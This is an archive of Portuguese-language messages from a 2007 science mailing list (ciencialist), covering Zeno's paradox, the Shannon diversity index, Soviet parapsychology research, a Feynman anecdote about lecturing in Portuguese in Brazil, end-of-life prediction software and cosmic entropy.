> Quem venceria uma corrida: um atleta olímpico ou uma tartaruga? A resposta
> a esta pergunta, aparentemente ridícula, abre o caminho para um importante
> conceito matemático, o conceito de Limite. Imagine a corrida. Para compensar
> a desvantagem da tartaruga, vamos colocá-la um pouco à frente do campeão,
> cerca de 10 metros ou 1 000 centímetros. Enquanto a tartaruga anda 1
> centímetro em 1 segundo, o atleta percorre os 10 metros que o separam do
> vagaroso animal, e também completa o centímetro que ele caminhou. Assim,
> exatamente 1 segundo após o início da corrida, a 1 001 centímetros do ponto
> de partida do atleta, este ultrapassa a tartaruga. O filósofo grego Zenão,
> que viveu no século VI a.C., pensou de forma diferente a corrida entre o
> atleta e a tartaruga. Segundo ele, assim que a competição se inicia, por
> maior que seja a velocidade do corredor e a lerdeza da tartaruga, o animal
> estará sempre um pouco à frente, pois quando o atleta chegar à posição
> inicial da tartaruga, esta terá avançado um pouquinho mais. Repetindo
> infinitas vezes este raciocínio, chega-se à conclusão de que o corredor
> jamais ultrapassará a tartaruga. Sabemos, porém, que ao contrário do que
> sugeria Zenão, 1 segundo após o início da corrida o atleta ultrapassa a
> tartaruga. Como resolver essa contradição? A solução encontrada pelos
> matemáticos foi a seguinte: no instante 1 segundo temos a posição 1001
> centímetros, na qual os dois competidores se encontram no mesmo ponto. Esta
> posição é o limite-ultrapassagem para onde os dois movimentos ocorrem. Antes
> desse limite, temos a sua vizinhança, na qual os movimentos acontecem em
> intervalos de tempo infinitamente pequenos e em que são percorridos espaços
> também infinitamente pequenos infinitesimais. É no interior desta vizinhança
> que as conclusões de Zenão se revelam verdadeiras.
>
> <
> http://klickeducacao.ig.com.br/2006/materia/20/display/0,5912,IGP-20-87-937-,00.html?codsit=9104&codparext=2084>
>
> [As partes desta mensagem que não continham texto foram removidas]
>
>
>


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Indice de diversidade
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 25/07/2007 21:00

A rigor, o índice deveria se chamar índice de diversidade de Shannon.
Mas como acharam q Warren Weaver, q apenas prefaciou o trabalho
seminal de Shannon sobre informação, tb tinha participação na teoria,
batizaram erradamente com o nome dos dois. Norbert Wiener entra ainda
mais de gaiato na história. Talvez por confusão com Weaver, por conta
dos trabalhos de Wiener com cibernética e, portanto, com a teoria da
informação.

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, Expedito Barroso
> A minha dúvida contraria um pouco o que tu respondeste: eu conheço
> apenas Claude Shannon (Teoria Matemáticada Comunicação) e Norbert
> Wiener (formulador do termo cibernética e dos alicerces dessa área).
> Não conheço Weaver, entretanto vejo as duas grafias PARA O MESMO
> ÍNDICE usado pelos ecologistas.




SUBJECT: Ler pra crer
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 25/07/2007 22:54

http://observatorio.ultimosegundo.ig.com.br/artigos.asp?cod=443FDS001


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Universos Paralelos
FROM: "Amauri N. Sanches Jr " <amaurij@gmail.com>
TO: Acropolis_@yahoogrupos.com.br, ciencialist <ciencialist@yahoogrupos.com.br>, ciencias2005@yahoogrupos.com.br, "Sandra³ Fatima de Oliveira" <safioli@gmail.com>, "Sandra Sassi" <sandracassia1405@gmail.com>, lucia2245@hotmail.com, denize_sa_diaz@hotmail.com, "Bruna Ferreira" <flooorbr@yahoo.com.br>, "Bruno Rodrigues" <brunoorador@gmail.com>
DATE: 26/07/2007 01:12

http://www.ateus.net/artigos/ciencias/universos_paralelos.php

--

Meu blog:
http://masterofdarkness.multiply.com/journal

É só se cadastrar nos link abaixo:

http://www.publipt.com/pages/index.php?refid=avoltaire






"Se vc não tem atitude, mantenha pelo menos a palavra!"

("Quem quer que haja construído um novo céu, só no seu próprio inferno
encontrou energia para fazê-lo!" Nietszche)

"Não importa o que fizeram a você.
O que importa é o que você faz com
aquilo que fizeram para você".

Jean-Paul Sartre (1905-1980)
Filósofo francês


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Paradoxo de Zenon
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/07/2007 02:10

E pensar q o escrete canarinho já contou com dois astros da filosofia
mundial: Zenon e Sócrates...

Pra vcs matarem saudades dos gols do Doutor Magrão:

http://youtube.com/watch?v=xrShK-NVMIU

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: Paradoxo de Zenon
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/07/2007 09:23

he he he .... filosoficamente brilhante!
[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "rmtakata" <roberto.takata@bol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quinta-feira, 26 de julho de 2007 02:10
Assunto: [ciencialist] Re: Paradoxo de Zenon


E pensar q o escrete canarinho já contou com dois astros da filosofia
mundial: Zenon e Sócrates...

Pra vcs matarem saudades dos gols do Doutor Magrão:

http://youtube.com/watch?v=xrShK-NVMIU

[]s,

Roberto Takata




SUBJECT: Re: Ler pra crer
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/07/2007 11:56

--- Em ciencialist@yahoogrupos.com.br, Gil <nanolink01@...> escreveu
>
> http://observatorio.ultimosegundo.ig.com.br/artigos.asp?
cod=443FDS001

Uma curiosidade: na União Soviética, pátria do
socialismo "científico", durante a Guerra Fria investiu-se muito -
cerca de 80 milhões de rublos anuais (80 milhões de euros em valor
atual) - em pesquisas sobre telepatia, telecinese e outros fenômenos
parapsicológicos. "Psicobiofísica" era o termo que os cientistas
soviéticos usavam para designar a ciência da PES (percepção extra-
sensorial).

Segundo Aiglon Fasolo (Londrina), o centro de estudos psicobiofísicos
da URSS chegou a convidar Xico Xavier. Este, no entanto, recusou:

<<No fim do ano de 1939, uma comissão de cientistas russos convidou
Francisco Cândido Xavier para ir à Rússia por 6 meses, para se
submeter a vários testes relacionados com seus "poderes". Para isso,
além da viagem, pagar-lhe-iam a quantia de trezentos contos de réis,
soma que daria, na época, para pagar a construção de 50 casas
populares! Chico sentiu-se tentado. Estava quase aceitando quando
Emmanuel apareceu e lhe disse: - Se queres ir podes, eu fico!>>

Outra curiosidade: em Cuba, realizam-se estudos científicos sobre a
energia das pirâmides. Confiram:

http://www.granma.cu/portugues/abril03/mier23/16miste-p.html

Abraços,
Manuel Bulcão




SUBJECT: Re: [ciencialist] Re: Ler pra crer
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/07/2007 12:48

Mas impressionante é que faziam (ou fazem) isso até pouco tempo atrás :
http://www.bbc.co.uk/portuguese/reporterbbc/story/2007/02/070223_ministeriopsiquicosrw.shtml


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Uma Terra sem humanos
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/07/2007 16:08

http://www2.uol.com.br/sciam/reportagens/uma_terra_sem_humanos.html

Uma Terra sem humanos

Uma nova forma de avaliar o impacto da humanidade sobre o ambiente é
pensar como o mundo se sairia se todas as pessoas desaparecessem
por Alan Weisman

INTRODUÇÃO
É uma fantasia comum imaginar que você é a última pessoa viva na
Terra. Mas e se todos os seres humanos fossem varridos de repente do
planeta? Tal premissa é o ponto de partida de The world without us (O
mundo sem nós), nova obra do autor de livros científicos Alan Weisman,
professor associado de jornalismo da University of Arizona. Nesse
longo exercício de pensamento, Weisman não especifica exatamente o que
elimina o Homo sapiens, em vez disso ele simplesmente assume o
desaparecimento repentino de nossa espécie e projeta a seqüência de
eventos que provavelmente ocorreria nos anos, décadas e séculos a seguir.
(continua...)




SUBJECT: Deveria ser assistido por cada ser humano pelo menos 1 vez na vida - NÃO É VÍRUS !
FROM: Alessandro Loiola <alessandroloiola@yahoo.com.br>
TO: alessandroloiola@yahoo.com.br
DATE: 26/07/2007 19:50

Deveria ser assistido por cada ser humano pelo menos 1 vez na vida:

http://www.youtube.com/watch?v=g-rf7rsWMUQ

Se vc quiser entender melhor o q é dito, recomendo uma visita a http://www.planetary.org/explore/topics/voyager/pale_blue_dot.html e http://en.wikipedia.org/wiki/Pale_Blue_Dot .

Um abraço e boa reflexão,

A.



Dr. Alessandro Loiola, M.D.
CRMMG 30.278
Hospital: +55 (31) 3232 0550
Consultório: +55 (31) 3232 0555
Alertas do Yahoo! Mail em seu celular. Saiba mais.

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: RE: [ciencialist] Deveria ser assistido por cada ser humano pelo menos 1 vez na vida - NÃO É VÍRUS !
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br, alessandroloiola@yahoo.com.br
DATE: 26/07/2007 21:57

Dr. Alessandro, reflexão é a palavra!
Grato, sds. Murilo SP 26/julh07


>From: Alessandro Loiola <alessandroloiola@yahoo.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: alessandroloiola@yahoo.com.br
>Subject: [ciencialist] Deveria ser assistido por cada ser humano pelo menos
>1 vez na vida - NÃO É VÍRUS !
>Date: Thu, 26 Jul 2007 19:50:58 -0300 (ART)
>
>Deveria ser assistido por cada ser humano pelo menos 1 vez na vida:
>
> http://www.youtube.com/watch?v=g-rf7rsWMUQ
>
> Se vc quiser entender melhor o q é dito, recomendo uma visita a
>http://www.planetary.org/explore/topics/voyager/pale_blue_dot.html e
>http://en.wikipedia.org/wiki/Pale_Blue_Dot .
>
> Um abraço e boa reflexão,
>
> A.
>
>
>
>Dr. Alessandro Loiola, M.D.
>CRMMG 30.278
>Hospital: +55 (31) 3232 0550
>Consultório: +55 (31) 3232 0555
> Alertas do Yahoo! Mail em seu celular. Saiba mais.
>
>[As partes desta mensagem que não continham texto foram removidas]
>
>
>
>##### ##### #####
>
>Página de apoio
>http://www.ciencialist.com
>
>
>##### ##### ##### #####
>Links do Yahoo! Grupos
>
>




SUBJECT: Conferências de agosto da Copea: confira a programação
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO: "Vivens Scientia" <VivensScientia@yahoogroups.com>, ciencialist@yahoogrupos.com.br
DATE: 27/07/2007 00:30

*Confer�ncias de agosto da Copea: confira a programa��o* * *
Atividades da s�o abertas ao p�blico e ocorrem sempre �s quintas-feiras,
de 17h30 �s 19h

No dia 9, a confer�ncia ser� sobre "Tunelameno da Luz", com Moys�s
Nussenzveig, da UFRJ.

No dia 16 o tema ser� a "Vacina da Mal�ria: Fundamentos". Quem proferir� a
confer�ncia ser� Victor Nussenzveig, da New York University.

No dia 23, o tema ser� "Avan�os Recentes em Imunologia", com Michel
Nussenzveig, da Rockefeller University.

Finalmente, no dia 30, o debate ser� sobre "Emaranhamento Qu�ntico, N�o �
Localidade e Realismo", com Paulo Nussenzveig, da USP.

As atividades acontecem no F�rum de Ci�ncia e Cultura, Sala Pedro Calmon, no
Campus Praia Vermelha da UFRJ.
(Com informa��es da Copea)


[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: Computers may soon be better than kin at predicting the wishes of the dying
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO: "Vivens Scientia" <VivensScientia@yahoogroups.com>, ciencialist@yahoogrupos.com.br
DATE: 27/07/2007 00:33

**

*Computers may soon be better than kin at predicting the wishes of the dying
*

IN 1947 a psychologist called Theodore Sarbin made a controversial
suggestion to a medical conference. He proposed that a doctor is really just
a machine whose purpose is to make actuarial judgments about the best
treatment for a patient. And not a very good machine, at that, for Sarbin
also suggested that medicine would benefit if "we could replace [the
doctor's] eyes and brain with a Hollerith machine".

It was a remarkably prescient vision. The idea that Hollerith machines (or
computers, to give their modern name) might sometimes be better than doctors
at deciding how to treat a patient is now universally accepted. A computer
program is, for instance, sometimes used to recommend whether the horrors of
chemotherapy are likely to outweigh its blessings.

When machines trespass into the area of medical ethics, though, hackles
rise. Here it is not the doctor that is being second-guessed, but the
patient's relatives. The question is, if you were in a coma, whom would you
more trust to come to the conclusion that you would want: your spouse or a
machine?

David Wendler, of the National Institutes of Health in Bethesda, Maryland,
and his colleagues have looked into this question. Their answer, just
published in the* Public Library of Science Medicine*, is surprising. At the
moment, both are equally reliable-but only the machines are likely to get
better at it.

Dr Wendler's study began last year, when his team reviewed all the
experiments they could find that had attempted to test how well people
predict the wishes of patients with life-threatening conditions. Some of
these studies used real patients whose conditions might have led them to
fall into a coma-when, obviously, they could not make the decision for
themselves. Others employed surrogates who were asked to make "living wills"
outlining their preferences for treatment (or the lack of it) in various
hypothetical circumstances. The desires expressed by these patients, whether
real or surrogate, were then compared with what those patients' kin
predicted the patients would want, and also with the predictions of
unrelated people (doctors, for example) who might be called on to make the
decision if kin could not be found.

Dr Wendler found 16 published reports containing almost 20,000 pairs of
decisions. His analysis showed that kin and patient agreed only 68% of the
time. When they did not agree, kin were more likely to recommend treatment
when the patient wanted treatment withdrawn rather than mistakenly to
recommend withdrawal. Surprisingly, the bias towards treatment was equally
strong when the decision was made by an unrelated person such as a doctor.

Other research has suggested that the variable most reliably governing
whether a patient would want the machine turned off is the "1% rule". This
is that people seem to want life-saving interventions if there is at least a
1% chance they will recover the ability to reason, remember and communicate.
Less than 1%, and it is time to pull the plug.

*Calculating will*

Using that rule of thumb, Dr Wendler and his colleagues wrote a computer
program that assesses the prognosis for a patient, based on the sort of
clinical criteria that the studies had described to both patients and
predictors. Only 12 of the 16 original studies contained sufficient detail
to be used, but the result was remarkable. In these 12 studies, human
predictors guessed the patient's wishes rather more accurately than was true
when all 16 were lumped together-getting them right 78.4% of the time. Dr
Wendler's program achieved an almost identical result-78.5%.

Since that result is based on a single criterion, the 1% rule, Dr Wendler
reckons he can beat it by adding other factors to the program. Older
patients may be less willing to accept heroic, invasive surgery than younger
ones; men might think differently from women; professors imagining
themselves with advanced dementia may more readily turn down pneumonia
treatments than dancers would. Dr Wendler's guess is that by studying such
preferences in more detail and adding them to the program, he might increase
its accuracy by as much as another ten percentage points.

At the moment, such data do not exist. No one has yet had a reason to
collect them. But they do have a reason now. The decision about when to pull
the plug on a patient who is not expected to recover is unlikely ever to be
handed over completely to a machine. But when no kin can be found, the
program's opinion might help. And even when a dying patient is surrounded by
people who care about him, those people may welcome some guidance about what
his wishes were likely to have been. Individuals are, indeed, individual.
But that does not mean their dying wishes are all that different.


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Desafie Chinook
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 27/07/2007 05:23

http://www.cs.ualberta.ca/~chinook/
----------
É o programa de computador de jogo de damas perfeito (ele é imbatível
- no máximo se arranca um empate dele - na versão iniciante ainda é
possível vencê-lo ocasionalmente).

[]s,

Roberto Takata



SUBJECT: RES: [ciencialist] Conferências de agosto da Copea: confira a programação
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 27/07/2007 06:14

Certa ocasião, fui assistir a uma palestra de Nussenzveig, aqui, na UFPE.
Cheguei uma hora antes, para pegar um lugarzinho bom.
A platéia tinha 90% de estudantes e professores brasileiros e só o restante
de gringos e outras confusões lingüísticas.

A palestra foi em inglês! Para um público nativo... Achei o máximo de
petulância.
Levantei, virei para a porta e saída e zás, rapidinho, que ali não dava para
ficar. Que besta penso que não sou.

Que a palestra fosse em português, e uma tradução fosse providenciada para
os 10% restantes, em respeito a eles, que arriscam uma TAM e nossa
incompetência aeroviária para virem até aquí. Entre estes, notei professores
de língua portuguesa errada, que entendem o portuga velho de guerra. Então
não carecia tanto desprezo por nós outros.
Não iria a outra, dele. Mesmo estando na cidade.
Sei que o idioma que usou é fundamental. A gigantesca maioria de obras
científicas está em inglês, em todas as áreas.
Tudo bem. Não há outro jeito mesmo! É universal, o idioma! Mas, pera aí,
fazer palestras para nós outros em inglês?
Lá nos estaites, tudo bem. Fico resistindo a maldar se não se trata de
estrelismo. Se bem que o Professor nem precisa mais disso.


Sds,
Victor.


-----Mensagem original-----
De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Esteban Moreno
Enviada em: sexta-feira, 27 de julho de 2007 00:30
Para: Vivens Scientia; ciencialist@yahoogrupos.com.br
Assunto: [ciencialist] Conferências de agosto da Copea: confira a
programação

*Conferências de agosto da Copea: confira a programação* * *
Atividades da são abertas ao público e ocorrem sempre às quintas-feiras,
de 17h30 às 19h

No dia 9, a conferência será sobre "Tunelameno da Luz", com Moysés
Nussenzveig, da UFRJ.

No dia 16 o tema será a "Vacina da Malária: Fundamentos". Quem proferirá a
conferência será Victor Nussenzveig, da New York University.

No dia 23, o tema será "Avanços Recentes em Imunologia", com Michel
Nussenzveig, da Rockefeller University.

Finalmente, no dia 30, o debate será sobre "Emaranhamento Quântico, Não –
Localidade e Realismo", com Paulo Nussenzveig, da USP.

As atividades acontecem no Fórum de Ciência e Cultura, Sala Pedro Calmon, no
Campus Praia Vermelha da UFRJ.
(Com informações da Copea)


[As partes desta mensagem que não continham texto foram removidas]



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SUBJECT: Re: RES: [ciencialist] Conferências de agosto da Copea: confira a programação
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 27/07/2007 09:23

--- Em ciencialist@yahoogrupos.com.br, "J.Victor" <j.victor.neto@...>
> A palestra foi em inglês! Para um público nativo... Achei o máximo
> de petulância.

O americano, outra vez!
"Na primeira vez que estive no Brasil, por seis meses, fui convidado a
fazer uma apresentação na Academia Brasileira de Ciências, sobre algum
trabalho em eletrodinâmica quântica que eu havia acabado de fazer.
Pensei que faria a palestra em português, e dois estudantes do centro
disseram que me ajudariam. Comecei escrevendo minha palestra em um
português totalmente confuso. Escrevi sozinho, porque, se eles
tivesses escrito, haveria muitas palavras que eu não sabia e não
conseguia pronunciar corretamente. Então escrevi a palestra e eles
ajeitaram a gramática, consertaram as palavras e deram uma melhorada.
Mas ainda estava em um nível que eu conseguia ler com facilidade e
saber mais ou menos o que estava falando. Eles ensaiaram comigo para
que eu conseguisse ter uma pronúncia absolutamente correta: o "de"
deveria ficar entre "dé" e "dê" ­ tinha de ser exatamente assim.
Cheguei à reunião da Academia Brasileira de Ciências, e o primeiro
palestrante, um químico, levantou-se e deu a palestra ­ em inglês. Ele
estava tentando ser educado, ou o quê? Eu não conseguia entender o que
ele estava dizendo, por causa de sua pronúncia, que era péssima, mas
talvez alguma outra pessoa tivesse o mesmo sotaque e tenha conseguido
entendê-lo; eu não sei. Então o próximo palestrante levanta-se e dá a
palestra em inglês!

Quando chegou a minha vez, levantei-me e disse: "Desculpem; eu não
havia percebido que a língua oficial da Academia Brasileira de
Ciências era inglês, e por isso não preparei minha palestra em inglês.
Então, por favor, desculpem-me, mas terei de fazê-la em português".
Daí eu li o texto, e todo mundo gostou muito. A próxima pessoa a se
levantar diz: "Seguindo o exemplo do meu colega dos Estados Unidos,
também farei minha apresentação em português". Então, até onde sei,
mudei a tradição da língua utilizada na Academia Brasileira de Ciências."
Richard Feynman 2000 - Deve ser Brincadeira, Sr. Feynman!. S. Paulo,
Imprensa Oficial SP.
http://www.revista.agulha.nom.br/sfcarta1.html
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[]s,

Roberto Takata



SUBJECT: [RN] (20W x 96h)/4 kg = U$1.000.000
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 27/07/2007 09:41

Inventor de bateria mais leve para soldados ganhará US$ 1 milhão
http://www1.folha.uol.com.br/folha/ciencia/ult306u315499.shtml
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Roberto Takata




SUBJECT: Res: RES: [ciencialist] Conferências de agosto da Copea: confira a programação
FROM: Aline Santos <haline_santos@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 27/07/2007 10:35

A vida é mesmo uma comédia... eo exemplo vem de fora!!!!
Acadêmia Brasileira de Ciências com apresentações em inglês, fala sério!!!!!!

Aline


----- Mensagem original ----
De: rmtakata <roberto.takata@bol.com.br>
Para: ciencialist@yahoogrupos.com.br
Enviadas: Sexta-feira, 27 de Julho de 2007 9:23:09
Assunto: Re: RES: [ciencialist] Conferências de agosto da Copea: confira a programação


--- Em ciencialist@yahoogrupos.com.br, "J.Victor" <j.victor.neto@...>
> A palestra foi em inglês! Para um público nativo... Achei o máximo
> de petulância.

O americano, outra vez!
"Na primeira vez que estive no Brasil, por seis meses, fui convidado a
fazer uma apresentação na Academia Brasileira de Ciências, sobre algum
trabalho em eletrodinâmica quântica que eu havia acabado de fazer.
Pensei que faria a palestra em português, e dois estudantes do centro
disseram que me ajudariam. Comecei escrevendo minha palestra em um
português totalmente confuso. Escrevi sozinho, porque, se eles
tivesses escrito, haveria muitas palavras que eu não sabia e não
conseguia pronunciar corretamente. Então escrevi a palestra e eles
ajeitaram a gramática, consertaram as palavras e deram uma melhorada.
Mas ainda estava em um nível que eu conseguia ler com facilidade e
saber mais ou menos o que estava falando. Eles ensaiaram comigo para
que eu conseguisse ter uma pronúncia absolutamente correta: o "de"
deveria ficar entre "dé" e "dê" ­ tinha de ser exatamente assim.
Cheguei à reunião da Academia Brasileira de Ciências, e o primeiro
palestrante, um químico, levantou-se e deu a palestra ­ em inglês. Ele
estava tentando ser educado, ou o quê? Eu não conseguia entender o que
ele estava dizendo, por causa de sua pronúncia, que era péssima, mas
talvez alguma outra pessoa tivesse o mesmo sotaque e tenha conseguido
entendê-lo; eu não sei. Então o próximo palestrante levanta-se e dá a
palestra em inglês!

Quando chegou a minha vez, levantei-me e disse: "Desculpem; eu não
havia percebido que a língua oficial da Academia Brasileira de
Ciências era inglês, e por isso não preparei minha palestra em inglês.
Então, por favor, desculpem-me, mas terei de fazê-la em português".
Daí eu li o texto, e todo mundo gostou muito. A próxima pessoa a se
levantar diz: "Seguindo o exemplo do meu colega dos Estados Unidos,
também farei minha apresentação em português". Então, até onde sei,
mudei a tradição da língua utilizada na Academia Brasileira de Ciências."
Richard Feynman 2000 - Deve ser Brincadeira, Sr. Feynman!. S. Paulo,
Imprensa Oficial SP.
http://www.revista.agulha.nom.br/sfcarta1.html
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Roberto Takata



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SUBJECT: RES: RES: [ciencialist] Conferências de agosto da Copea: confira a programação
FROM: "j.victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 27/07/2007 11:19

Bem, Feynman era Feynman!

A isso, dá-se um nome: respeito!



Sds,

Victor.



De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de rmtakata
Enviada em: sexta-feira, 27 de julho de 2007 09:23
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: RES: [ciencialist] Conferências de agosto da Copea: confira a
programação



--- Em ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br> , "J.Victor" <j.victor.neto@...>
> A palestra foi em inglês! Para um público nativo... Achei o máximo
> de petulância.

O americano, outra vez!
"Na primeira vez que estive no Brasil, por seis meses, fui convidado a
fazer uma apresentação na Academia Brasileira de Ciências, sobre algum
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Pensei que faria a palestra em português, e dois estudantes do centro
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português totalmente confuso. Escrevi sozinho, porque, se eles
tivesses escrito, haveria muitas palavras que eu não sabia e não
conseguia pronunciar corretamente. Então escrevi a palestra e eles
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Mas ainda estava em um nível que eu conseguia ler com facilidade e
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Cheguei à reunião da Academia Brasileira de Ciências, e o primeiro
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Quando chegou a minha vez, levantei-me e disse: "Desculpem; eu não
havia percebido que a língua oficial da Academia Brasileira de
Ciências era inglês, e por isso não preparei minha palestra em inglês.
Então, por favor, desculpem-me, mas terei de fazê-la em português".
Daí eu li o texto, e todo mundo gostou muito. A próxima pessoa a se
levantar diz: "Seguindo o exemplo do meu colega dos Estados Unidos,
também farei minha apresentação em português". Então, até onde sei,
mudei a tradição da língua utilizada na Academia Brasileira de Ciências."
Richard Feynman 2000 - Deve ser Brincadeira, Sr. Feynman!. S. Paulo,
Imprensa Oficial SP.
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Roberto Takata





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SUBJECT: Fw: insetos polinizadores
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 27/07/2007 11:45

Takata San e demais polinizadores do grupo.
[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: roseli g santos
Para: leobarretos@uol.com.br
Enviada em: terça-feira, 24 de julho de 2007 11:51
Assunto: insetos polinizadores


Caro Professor,

Me chyamo Roseli, tenh uma filha de 12 anos que está cursando a 6a. série do Ens.Fundamental . Em agosto ela participara de uma exposição cultural em sua escola, cujo tema do grupo a que ela pertence será sobre insetos polinizadores : abelhas, borboletas e vespas.
Gostaria de pedir a gentileza de saber se o senhor pode passar alguma idéia de maquete para que eles possam confeccionar relacionada ao tema.

Desde já agradeço a atenção

Grata

Roseli_dagranja@hotmail.com


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Chegou o Windows Live Spaces:você divide seu blog, suas fotos, sua lista de música e agora encontra seus amigos! É só entrar no:


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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Fw: insetos polinizadores
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 27/07/2007 13:29

No livro de Biologia deve ter uma ilustração de um inseto polinizando
uma flor.

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> -----Mensagem Original-----
> De: roseli g santos
> Enviada em: terça-feira, 24 de julho de 2007 11:51
> Assunto: insetos polinizadores
>
> Me chyamo Roseli, tenh uma filha de 12 anos que está cursando a 6a.
> série do Ens.Fundamental . Em agosto ela participara de uma
> exposição cultural em sua escola, cujo tema do grupo a que ela
> pertence será sobre insetos polinizadores : abelhas, borboletas e
> vespas.
> Gostaria de pedir a gentileza de saber se o senhor pode passar
> alguma idéia de maquete para que eles possam confeccionar
> relacionada ao tema.




SUBJECT: Re: Entropia: Pequeno paradoxo cosmológico
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 27/07/2007 13:58

--- Em ciencialist@yahoogrupos.com.br, "Kentaro Mori"
> A entropia era máxima em nosso universo, mas mínima considerando a
> evolução de nosso Universo em outro maior, mas essencialmente
> inacessível?

Bem, não se trata de uma resposta definitiva - tem caráter mais
tentativo. De todo modo, é um pouco na linha q vc seguiu, porém não há
a necessidade de se considerar um outro universo maior.

Mas pode ter a ver com a expansão.

Se pegarmos uma garrafa cheia de gás, o gás estará dentro dela em seu
estado de maior entropia (supondo equilíbrio como o estado interno).
Se essa garrafa fosse agora ampliada com as moléculas do gás nas
posições q estavam na situação anterior, agora não estarão mais em
situação de máxima entropia.

Por outro lado, se o gás estivesse concentrado em uma região da
garrafa, ele não estaria em seu estado de máxima entropia. Mas se
encolhêssemos a garrafa, ele passaria a estar com a maior entropia
possível.

Nosso Universo atualmente parece não se encontrar em seu estado de
máxima entropia. Mas, como ela sempre aumenta, poderíamos pensar q o
destino final do Universo seria a morte térmica - atingindo finalmente
o estado de máxima entropia. Porém o Universo continua a expandir - e
aparentemente em um ritmo acelerado -, fazendo com q a entropia máxima
possível tb aumente - e a entropia máxima possível cresce a um ritmo
maior do q o crescimento da entropia efetiva do Universo.

Se pudéssmos plotar um gráfico com as duas curvas: entropia máxima vs
tempo e entropia efetiva vs tempo - com escalas adequadas, poderíamos
- talvez - obter duas retas com inclinações diferentes - ambas
positivas - (a da entropia máxima com uma inclinação maior) - e com o
coeficiente linear na origem das coordenadas. Nesse caso, efetivamente
o Universo estaria, na origem, concomitantemente em seu estado de
máxima e de mínima entropia.

[]s,

Roberto Takata



SUBJECT: Re: RES: [ciencialist] Conferências de agosto da Copea: confira a programação
FROM: "Shridhar Jayanthi" <jshridhar@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 27/07/2007 14:15

Hehe,

Uma conferência no Brasil com apresentadores brasileiros falando inglês não
me incomoda tanto, pq inglês virou o latim do século XX, mas o inglês tem q
ser compreensível. Algumas vezes eu vi algumas apresentações que aconteceram
isso que o Feynman narra: o inglês era ruim e não dava pra entender (e eu
estou acostumado com o inglês brasileiro!). Nesses casos, ainda que o
público brasileiro seja minoria, eu acho que é melhor usar o português pq
assim, pelo menos a palestra serve pra alguém (mas devem haver conferências
que proibem o uso de outra língua que não o inglês)!

Agora isso do Nusszenveig pode não ser estrelismo não (de quem eu só conheço
os livros, e não acho tão bons quanto as outras pessoas)... às vezes a
quantidade de não brasileiras era ínfima, mas pode ser que os 3 ou 4
estrangeiros lá eram aqueles a quem o apresentador quer "evangelizar"...
Adequar-se a linguagem do público-alvo é fundamental e as vezes o
público-alvo é diferente do público real. Não endosso a idéia, mas
compreendo.

Shridhar
http://entropicando.blogspot.com

On 7/27/07, j.victor <j.victor.neto@uol.com.br> wrote:
>
> Bem, Feynman era Feynman!
>
> A isso, dá-se um nome: respeito!
>
> Sds,
>
> Victor.
>
> De: ciencialist@yahoogrupos.com.br <ciencialist%40yahoogrupos.com.br>[mailto:
> ciencialist@yahoogrupos.com.br <ciencialist%40yahoogrupos.com.br>]
> Em nome de rmtakata
> Enviada em: sexta-feira, 27 de julho de 2007 09:23
> Para: ciencialist@yahoogrupos.com.br <ciencialist%40yahoogrupos.com.br>
> Assunto: Re: RES: [ciencialist] Conferências de agosto da Copea: confira a
> programação
>
> --- Em ciencialist@yahoogrupos.com.br <ciencialist%40yahoogrupos.com.br>
> <mailto:ciencialist%40yahoogrupos.com.br> , "J.Victor" <j.victor.neto@...>
>
>
